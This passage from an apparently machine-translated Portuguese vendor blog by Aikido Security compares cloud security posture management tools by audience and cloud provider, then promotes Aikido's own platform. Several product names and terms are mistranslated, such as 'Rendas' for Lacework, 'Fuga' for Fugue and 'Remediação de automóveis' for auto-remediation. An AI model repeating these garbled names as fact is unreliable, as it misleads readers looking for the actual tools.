    • Integração com a plataforma CrowdStrike Falcon

    Ideal para: Equipas de segurança que procuram combinar a deteção de erros de configuração com a prevenção de violações.

    Preços: Nível empresarial; contactar CrowdStrike.

    "Finalmente, um CSPM com capacidades de deteção reais e não apenas mais uma lista de verificação." - Analista de segurança no X

    8. Ermetic

    O Ermetic é uma plataforma de segurança em nuvem que prioriza a identidade, combinando CSPM com poderosos recursos CIEM em AWS, Azure e GCP.

    Caraterísticas principais:

    • Mapeia riscos de identidade na nuvem e caminhos de ataque
    • Automatização da política de privilégios mínimos
    • Monitorização contínua da má configuração da nuvem
    • Relatórios de conformidade completos
    • Mapeamento visual de relações entre activos

    Ideal para: Empresas com arquiteturas de identidade complexas em ambientes com várias nuvens.

    Preços: SaaS empresarial, adaptado ao volume de activos.

    "Descobrimos permissões tóxicas que não sabíamos que existiam - o Ermetic acertou em cheio." - Arquiteto da nuvem no Reddit

    9. Fuga (atualmente parte de Snyk Cloud)

    O Fugue se concentra em políticas como código e deteção de desvios. Agora faz parte do Snyk Cloud, integrando a verificação de IaC com o CSPM para um fluxo completo de DevSecOps.

    Caraterísticas principais:

    • Aplicação da política baseada em regras como código
    • Deteção de desvios entre a IaC e a nuvem implantada
    • Visualização de recursos e relações na nuvem
    • Quadros de conformidade pré-construídos
    • Integração CI/CD e feedback PR

    Ideal para: Organizações centradas no desenvolvedor que adotam GitOps ou fluxos de trabalho de política como código.

    Preços: Incluído nos planos Snyk Cloud.

    "Apanhamos os erros de configuração antes de entrarem em funcionamento. É como um linter para infraestruturas de nuvem." - Engenheiro de plataforma no G2

    ‍

    10. JupiterOne

    O JupiterOne oferece CSPM através de uma abordagem de gestão de activos baseada em gráficos. Constrói um gráfico de conhecimento de todos os activos e relações da nuvem para identificar riscos.

    Caraterísticas principais:

    • Motor de consulta baseado em gráficos (J1QL)
    • Descoberta de activos em nuvens, SaaS e repositórios de código
    • Deteção de erros de configuração com conhecimento de relações
    • Pacotes de conformidade incorporados
    • Escalão comunitário gratuito disponível

    Ideal para: Equipas de segurança que pretendem visibilidade total e consultas flexíveis em ambientes extensos.

    Preços: Nível gratuito disponível; planos pagos escalam com o volume de activos.

    "O JupiterOne tornou a visibilidade dos activos mais fácil para a nossa equipa. O J1QL é poderoso." - Líder de SecOps no G2

    11. Rendas

    A Lacework é uma plataforma CNAPP que oferece CSPM juntamente com deteção de anomalias e proteção de cargas de trabalho. A sua plataforma de dados Polygraph mapeia comportamentos em toda a sua nuvem para detetar ameaças e configurações incorrectas.

    Caraterísticas principais:

    • Monitorização contínua da configuração no AWS, Azure e GCP
    • Deteção de anomalias baseada em ML com mapeamento visual do enredo
    • Proteção de cargas de trabalho sem agentes (contentores, VMs)
    • Avaliações de conformidade e relatórios automatizados
    • Integrações amigáveis de API e DevOps

    Ideal para: Equipas que pretendem CSPM combinado com deteção de ameaças e um mínimo de fadiga de alertas.

    Preços: Preços para empresas; contactar Lacework.

    "Só o polígrafo visual já vale a pena - liga os pontos entre as descobertas melhor do que qualquer outra ferramenta que tentámos." - Engenheiro de segurança da equipa no Reddit

    12. Microsoft Defender para a Nuvem

    O Microsoft Defender para a Nuvem é o CSPM incorporado do Azure, alargado com integrações para AWS e GCP. Oferece gestão de postura, verificações de conformidade e deteção de ameaças num único painel.

    Caraterísticas principais:

    • Pontuação segura para avaliação da postura na nuvem
    • Deteção de erros de configuração no Azure, AWS e GCP
    • Integração com o Microsoft Defender XDR e o Sentinel SIEM
    • Correção com um clique e recomendações automatizadas
    • Suporte integrado para CIS, NIST, PCI-DSS

    Ideal para: Organizações que estão a começar com o Azure e que procuram uma proteção contra ameaças e uma gestão de postura nativa e sem falhas.

    Preços: Nível gratuito para CSPM; planos pagos para proteção contra ameaças por recurso.

    "Acompanhamos o nosso Secure Score semanalmente em todas as equipas - super eficaz para promover melhorias." - CISO no G2

    ‍

    13. Prisma Cloud (Palo Alto Networks)

    O Prisma Cloud é um CNAPP abrangente que inclui CSPM robusto, verificação de IaC e segurança de carga de trabalho. Ele abrange todo o ciclo de vida, do código à nuvem.

    Caraterísticas principais:

    • Monitorização da postura na nuvem em tempo real
    • Priorização de riscos utilizando IA e contexto de dados
    • Infraestrutura como código e integração CI/CD
    • Análise de identidade e acesso, visualização de caminhos de ataque
    • Conformidade alargada e pacotes de políticas

    Ideal para: Empresas que executam ambientes complexos de várias nuvens e exigem visibilidade e cobertura profundas.

    Preços: Planos modulares; orientados para a empresa.

    "Ele substituiu quatro ferramentas para nós - gerenciamos tudo, desde a postura até as ameaças de tempo de execução em um só lugar." - Gerente de DevSecOps no G2

    14. Prowler

    O Prowler é uma ferramenta de auditoria de segurança de código aberto focada principalmente no AWS. Verifica a sua infraestrutura em relação às melhores práticas e aos quadros regulamentares.

    Caraterísticas principais:

    • Mais de 250 verificações mapeadas para CIS, PCI, GDPR, HIPAA
    • Ferramenta AWS CLI focada com saída JSON/HTML
    • Expansão do suporte multi-nuvem (Azure/GCP básico)
    • Fácil integração do pipeline CI/CD
    • Prowler Pro disponível para relatórios SaaS

    Ideal para: Engenheiros de DevOps e organizações com muita AWS que precisam de uma varredura personalizável e de código aberto.

    Preços: Gratuito (código aberto); o Prowler Pro é pago.

    "Auditoria AWS sem sentido que simplesmente funciona - um item obrigatório em seu pipeline." - Engenheiro de nuvem no Reddit

    ‍

    15. Segurança Sonrai

    A Sonrai combina CSPM com CIEM e segurança de dados, dando ênfase à governação da identidade na nuvem e à prevenção da exposição de dados sensíveis.

    Caraterísticas principais:

    • Relação de identidade e análise de risco de privilégios
    • Descoberta de dados sensíveis no armazenamento em nuvem
    • CSPM e auditoria de conformidade
    • Automatização para aplicação do princípio do menor privilégio
    • Suporte multicloud e híbrido

    Ideal para: Empresas focadas em governança de identidade, conformidade e proteção de dados confidenciais residentes na nuvem.

    Preços: SaaS empresarial; contactar vendas.

    "O Sonrai facilitou o mapeamento de quem pode acessar o quê e por quê - nossos auditores adoram isso." - Diretor de conformidade de segurança no G2

    16. Tenable Cloud Security (Accurics)

    O Tenable Cloud Security (anteriormente Accurics) concentra-se na verificação de IaC, deteção de desvios e gerenciamento de postura. Ele se encaixa bem nos pipelines GitOps e DevSecOps.

    Caraterísticas principais:

    • Infraestrutura como digitalização de código e aplicação de políticas
    • Deteção de desvios entre o código e os recursos implementados
    • Deteção de erros de configuração e controlo de conformidade
    • Remediações IaC geradas automaticamente (por exemplo, Terraform)
    • Integração com Tenable.io e dados de vulnerabilidade

    Ideal para: Equipas DevOps que necessitam de verificações de postura antes da implementação e em tempo de execução associadas à IaC.

    Preços: Parte da plataforma Tenable; preços baseados na utilização.

    "Ótimo complemento para as ferramentas de vulnerabilidade da Tenable - mantém as configurações de nuvem sob controle também." - Gerente de SecOps no G2

    17. Controlo da postura Zscaler

    O Zscaler Posture Control traz o CSPM para o Zero Trust Exchange da Zscaler. Ele combina postura, identidade e contexto de vulnerabilidade para destacar riscos reais.

    Caraterísticas principais:

    • CSPM e CIEM unificados
    • Correlação de ameaças entre configurações incorrectas, identidades e cargas de trabalho
    • Verificação contínua para AWS, Azure e GCP
    • Aplicação e correção baseadas em políticas
    • Integrado com o ecossistema Zero Trust mais amplo da Zscaler

    Ideal para: Clientes Zscaler que buscam insights de postura nativa alinhados às estratégias Zero Trust.

    Preços: Add-on para a plataforma Zscaler; voltado para empresas.

    "Finalmente conseguimos visibilidade da postura ligada ao nosso modelo de confiança zero." - Líder de segurança de rede no G2
    ‍

    Melhores ferramentas CSPM para programadores

    Necessidades dos desenvolvedores: Feedback rápido em CI/CD, alertas de baixo ruído e integrações com GitHub, Terraform ou IDEs.

    Critérios-chave:

    • Digitalização de infra-estruturas como código (IaC)
    • UI e APIs fáceis de utilizar pelos programadores
    • Compatibilidade entre GitOps e CI/CD
    • Autofixação ou orientação de correção acionável
    • Propriedade clara e mínimo de falsos positivos

    As melhores escolhas:

    • Segurança Aikido: Configuração fácil, correção automática baseada em IA e criada para desenvolvedores. Integra-se diretamente com CI e GitHub.
    • Fuga (Snyk Cloud): Policy-as-code com Regula; ideal para equipas que utilizam Terraform e GitOps.
    • Prisma Cloud: Digitalização completa de código para nuvem e integração de IDE.
    • Prowler: Ferramenta CLI simples que os desenvolvedores podem executar localmente ou em pipelines.
    Melhores ferramentas CSPM para programadores
    Ferramenta Digitalização IaC Integração CI/CD Autofix / Dev UX Melhor para
    Segurança do Aikido✅ SimGitHub, CIAI AutofixEquipas que dão prioridade aos programadores
    Fuga (Snyk Cloud)✅ Políticas de RegulaTerraform/GitOps❄️ Fluxos de trabalho de desenvolvimentoUtilizadores IaC + GitOps
    Prisma CloudPilha completaIDE/CI/CD✅ Integrações IDEOrganizações de código para nuvem
    Prowler✅ Nativo do AWSPipelines CLI❄️ ManualProgramadores preocupados com a segurança

    Melhores ferramentas CSPM para empresas

    Necessidades da empresa: Visibilidade multi-nuvem, relatórios de conformidade, acesso baseado em funções e integração do fluxo de trabalho.

    Critérios-chave:

    • Suporte para várias contas e várias nuvens
    • Estruturas de conformidade incorporadas
    • Controlo de acesso baseado em funções (RBAC)
    • Integrações SIEM/ITSM
    • Preços escaláveis e suporte do fornecedor

    As melhores escolhas:

    • Prisma Cloud: Abrange a postura, o tempo de execução e a conformidade em escala.
    • Check Point CloudGuard: Governação multi-nuvem e aplicação profunda de políticas.
    • Microsoft Defender para a Nuvem: Cobertura nativa do Azure e AWS/GCP.
    • Ermetic: CIEM avançado e governação para ambientes complexos.
    Melhores ferramentas CSPM para empresas
    Ferramenta Multi-nuvem Relatórios de conformidade RBAC / Fluxo de trabalho Melhor para
    Prisma Cloud✅ Sim✅ ExtensivoBaseado em funçõesOrganizações de escala empresarial
    Check Point CloudGuard✅ SimPolíticas profundas✅ IntegradoGovernação multi-nuvem
    Microsoft Defender para a NuvemAzure + AWS/GCP✅ Azure nativoIntegradoEmpresas centradas no Azure
    Ermetic✅ Sim✅ GovernaçãoControlos CIEMAmbientes complexos

    ‍

    As melhores ferramentas CSPM para empresas em fase de arranque

    Necessidades de arranque: Acessibilidade, facilidade de utilização, implementação rápida e ajuda básica de conformidade.

    Critérios-chave:

    • Camada gratuita ou planos económicos
    • Integração e UX fáceis
    • Preparado para SOC 2/ISO imediatamente
    • Prioridade ao programador
    • Funcionalidades tudo-em-um

    As melhores escolhas:

    • Segurança Aikido: Nível gratuito, correção automática por IA e centrado no desenvolvimento.
    • CloudSploit: Gratuito, de código aberto e fácil de integrar.
    • JupiterOne: Nível comunitário gratuito e consultas simples sobre riscos com base em activos.
    • Prowler: Scanner AWS orientado por CLI, sem custos, com suporte de conformidade.
    As melhores ferramentas CSPM para empresas em fase de arranque
    Ferramenta Escalão gratuito Integração Modelos de conformidade Melhor para
    Segurança do Aikido✅ Sim✅ FácilSOC 2 / ISOStartups que dão prioridade ao desenvolvimento
    Exploração em nuvem✅ Código aberto✅ Simples❄️ BasicEquipas preocupadas com o orçamento
    JupiterOneNível comunitário✅ Consultas de activos❄️ PersonalizadoEmpresas em fase de arranque preocupadas com a segurança
    Prowler✅ CLI e Livre❄️ ManualConformidade com AWSPequenas equipas centradas na AWS

    Melhores ferramentas CSPM para ambientes multi-nuvem

    Necessidades de várias nuvens: Visão unificada, aplicação de políticas independente da nuvem e integrações perfeitas.

    Critérios-chave:

    • Suporte completo para AWS, Azure, GCP (e mais)
    • Painéis de controlo unificados
    • Relatórios de conformidade normalizados
    • Visibilidade para várias contas e várias regiões
    • Alerta consistente entre nuvens

    As melhores escolhas:

    • Prisma Cloud: Verdadeiramente agnóstico em relação à nuvem com recursos profundos.
    • JupiterOne: visibilidade baseada em gráficos entre nuvens e serviços.
    • Check Point CloudGuard: Um mecanismo de política para todas as nuvens.
    • CloudCheckr: Governação e otimização de custos entre nuvens.
    Melhores ferramentas CSPM para ambientes multi-nuvem
    Ferramenta Cobertura de nuvens Painel de controlo unificado Aplicação de políticas Melhor para
    Prisma Cloud✅ AWS/Azure/GCP✅ SimExecução em profundidadeOrganizações agnósticas em relação à nuvem
    JupiterOne✅ Baseado em gráficos✅ Unificado❄️ PersonalizávelVisibilidade entre nuvens
    CloudGuardTodas as nuvensUm motor✅ CentralizadoLíderes da governação
    CloudCheckr✅ Multi-nuvemCusto e risco✅ NormalizadoFinOps + SecOps

    Melhores ferramentas CSPM para proteção da nuvem

    Necessidades de proteção na nuvem: Combine a postura com a deteção de ameaças em tempo de execução, análise de anomalias e prevenção de violações.

    Critérios-chave:

    • Deteção de ameaças (para além da verificação de configurações)
    • Visibilidade da carga de trabalho em tempo de execução
    • Informações sobre o tráfego de rede na nuvem
    • Correlação e priorização de alertas
    • Correção ou bloqueio automatizados

    As melhores escolhas:

    • Segurança Aikido: Combina a gestão da postura na nuvem, a análise de código e a análise de imagens de contentores numa única plataforma.
    • CrowdStrike Falcon Cloud Security: CNAPP com a melhor inteligência de ameaças da categoria.
    • Trabalho de renda: O motor do polígrafo detecta erros de configuração e anomalias em conjunto.
    • Microsoft Defender para a Nuvem: Tempo de execução + visibilidade de ameaças de configuração no Azure.
    • Check Point CloudGuard: Combina a postura com a prevenção ativa de ameaças.
    Melhores ferramentas CSPM para proteção da nuvem
    Ferramenta Deteção de ameaças Informações sobre o tempo de execução Remediação Melhor para
    Segurança do Aikido✅ Confirmações erradas + AmeaçasContentores + NuvemCorrecções de IACNAPP unificado
    CrowdStrike FalconInformações sobre ameaçasTempo de execução + Identidade✅ BloqueioPrevenção de violações na nuvem
    RendasAnomalia + ConfiguraçãoMotor de polígrafo❄️ AlertaEquipas centradas nas ameaças
    Defender para a nuvemConfiguração + Tempo de execuçãoNativo do AzureIntegradoUtilizadores do Azure híbrido
    CloudGuardBloqueio ativoRede + InfraRemediação de automóveisAmeaça + postura num só

    Melhores ferramentas CSPM para AWS

    Necessidades centradas no AWS: Cobertura total do serviço, integração do Hub de Segurança e alinhamento com os padrões de referência da AWS.

    Critérios-chave:

    • Integração profunda com a API do AWS
    • Suporte para estruturas AWS CIS/NIST
    • Suporte para organizações com várias contas
    • Compatibilidade com serviços nativos (por exemplo, GuardDuty, Config)
    • Deteção de configuração incorrecta de baixa latência

    As melhores escolhas:

    • Prowler: Leve, CLI-first e nativo do AWS.
    • CloudSploit: Fácil de implementar e de código aberto.
    • Segurança Aqua: Suporte alargado para AWS + contentores.
    • CloudCheckr: Ampla conformidade com o AWS e informações sobre custos.
    Melhores ferramentas CSPM para AWS
    Ferramenta Integração nativa do AWS Quadros de conformidade Suporte a várias contas Melhor para
    Prowler✅ Sim (CLI)CIS, NISTOrganizações AWSAutomação da segurança AWS
    Exploração em nuvem✅ SimCEI comunitário❄️ BasicEquipas AWS de fonte aberta
    Segurança Aqua✅ Deep AWSContentores + Nuvem✅ Multi-contaMistura de segurança e DevOps
    CloudCheckr✅ SimCusto + Segurança✅ Empresa AWSConformidade + visibilidade

    Melhores ferramentas CSPM para Azure

    Necessidades centradas no Azure: Integração perfeita com o Microsoft Defender, Azure Policy e serviços nativos.

    Critérios-chave:

    • Integração nativa com o ecossistema Azure
    • Suporte para o Secure Score e o Azure Security Benchmark
    • Cobertura do RBAC e da Identidade do Azure
    • Correção e alertas automatizados
    • Compatibilidade com o Sentinel e o Defender XDR

    As melhores escolhas:

    • Microsoft Defender para a Nuvem: Cobertura original com nível gratuito.
    • Segurança Aikido: Plataforma CSPM pronta para o Azure com varredura sem agente, alertas de configuração incorreta em tempo real e correção baseada em IA.
    • Ermetic: Gestão avançada da postura de identidade para o Azure.
    • Check Point CloudGuard: Visibilidade multi-nuvem, incluindo o Azure.
    • Tenable Cloud Security: IaC e verificação de tempo de execução para o Azure com deteção de desvios.
    Melhores ferramentas CSPM para Azure
    Ferramenta Integração do Azure Cobertura de referência Apoio à correção Melhor para
    Defender para a nuvem✅ NativoPontuação seguraIntegradoOrganizações que dão prioridade à Microsoft
    Segurança do AikidoPreparado para o AzureAlertas em tempo realRemediação de IAEquipas de desenvolvimento centradas no Azure
    ErmeticOrientado para a identidade✅ Azure AD❄️ ManualControlo da identidade na nuvem
    CloudGuardAzure + Multi-nuvemPolíticas unificadas✅ Reparação de automóveisSegurança entre nuvens
    Segurança na nuvem da TenableIaC + Tempo de execuçãoDeteção de desvios✅ Alertas + CorrecçõesEquipas de postura híbrida

    Conclusão

    A Gestão da Postura de Segurança na Nuvem não é apenas uma caixa de verificação para auditorias - é a diferença entre uma nuvem segura e escalável e uma que vaza dados confidenciais por meio de configurações incorretas.

    Quer seja um fundador de uma startup à procura de uma ferramenta gratuita para reforçar a sua conta AWS ou um líder de segurança numa empresa que lida com ambientes multi-nuvem, a ferramenta CSPM correta pode tornar o seu trabalho muito mais fácil.

    Desde ferramentas de código aberto como o Prowler e o CloudSploit a plataformas de nível empresarial como o Prisma Cloud e o Check Point CloudGuard, o panorama é rico em opções poderosas.

    Se está à procura de uma plataforma para programadores que combine CSPM com segurança de código e de tempo de execução numa interface única e simples, o Aikido Security tem tudo o que precisa.

    Comece hoje mesmo a sua avaliação gratuita e veja com que rapidez pode corrigir a sua postura na nuvem.

    ‍

    Guias
    27 de março de 2025
    1
    Empresa
    ProdutoPreçosSobreCarreirasContactoSeja nosso parceiro
    Recursos
    DocumentosDocumentos públicos da APIBase de dados de vulnerabilidadesBlogueIntegraçõesGlossárioKit de imprensaComentários de clientes
    Segurança
    Centro de ConfiançaVisão geral da segurançaAlterar as preferências de cookies
    Jurídico
    Política de privacidadePolítica de cookiesTermos de utilizaçãoContrato Principal de SubscriçãoAcordo de processamento de dados
    Casos de utilização
    ConformidadeSAST E DASTASPMGestão de vulnerabilidadesGerar SBOMsSegurança do WordPressProteja o seu códigoAikido para a Microsoft
    Indústrias
    Para a HealthTechPara a MedTechPara a FinTechPara SecurityTechPara a LegalTechPara HRTechPara as agênciasPara empresasPara empresas de capital de risco e de grupo
    Comparar
    vs Todos os fornecedorescontra Snykcontra Wizvs Mendvs Orca Securityvs Veracodevs Segurança avançada do GitHubvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
    Ligar
    hello@aikido.dev
    LinkedInX
    Subscrever
    Mantenha-se a par de todas as actualizações
    Ainda não é o caso.
    👋🏻 Obrigado! Está inscrito.
    Equipa de Aikido
    Ainda não é o caso.
    © 2025 Aikido Security BV | BE0792914919
    🇪🇺 Endereço registado: Coupure Rechts 88, 9000, Ghent, Bélgica
    🇪🇺 Endereço do escritório: Gebroeders van Eyckstraat 2, 9000, Ghent, Bélgica
    🇺🇸 Endereço do escritório: 95 Third St, 2nd Fl, São Francisco, CA 94103, EUA
    SOC 2
    Conformidade
    ISO 27001
    Conformidade